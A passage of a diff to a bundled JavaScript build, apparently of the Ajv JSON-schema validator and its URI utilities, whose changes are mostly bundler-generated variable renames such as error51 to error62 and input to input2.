{ const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -19182,8 +19182,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -19194,13 +19194,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -19610,11 +19610,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -20256,28 +20256,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -20443,27 +20443,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -20506,11 +20506,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -20543,23 +20543,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -20575,79 +20575,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -20657,80 +20657,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -20739,130 +20739,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -22327,7 +22327,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -22336,7 +22336,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -22352,7 +22352,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -22361,7 +22361,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -22408,7 +22408,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -22420,7 +22420,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22440,7 +22440,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -22449,7 +22449,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -22475,7 +22475,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -22487,7 +22487,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22506,7 +22506,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -22515,7 +22515,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -22586,7 +22586,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -22598,7 +22598,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -22629,7 +22629,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -22638,7 +22638,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -22695,14 +22695,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -22724,7 +22724,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -22732,7 +22732,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -22811,7 +22811,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -22820,7 +22820,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -22939,7 +22939,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -22948,7 +22948,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -22972,7 +22972,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -22982,7 +22982,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -23160,7 +23160,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -23168,7 +23168,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -23205,7 +23205,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -23215,7 +23215,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -23489,7 +23489,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -23497,7 +23497,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -23574,7 +23574,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -23582,7 +23582,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -23708,7 +23708,7 @@ var require_format = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -23717,7 +23717,7 @@ var require_format = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -23872,7 +23872,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -23880,7 +23880,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -24379,7 +24379,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -24396,7 +24396,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -24467,14 +24467,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -24699,7 +24699,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error2(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -24713,7 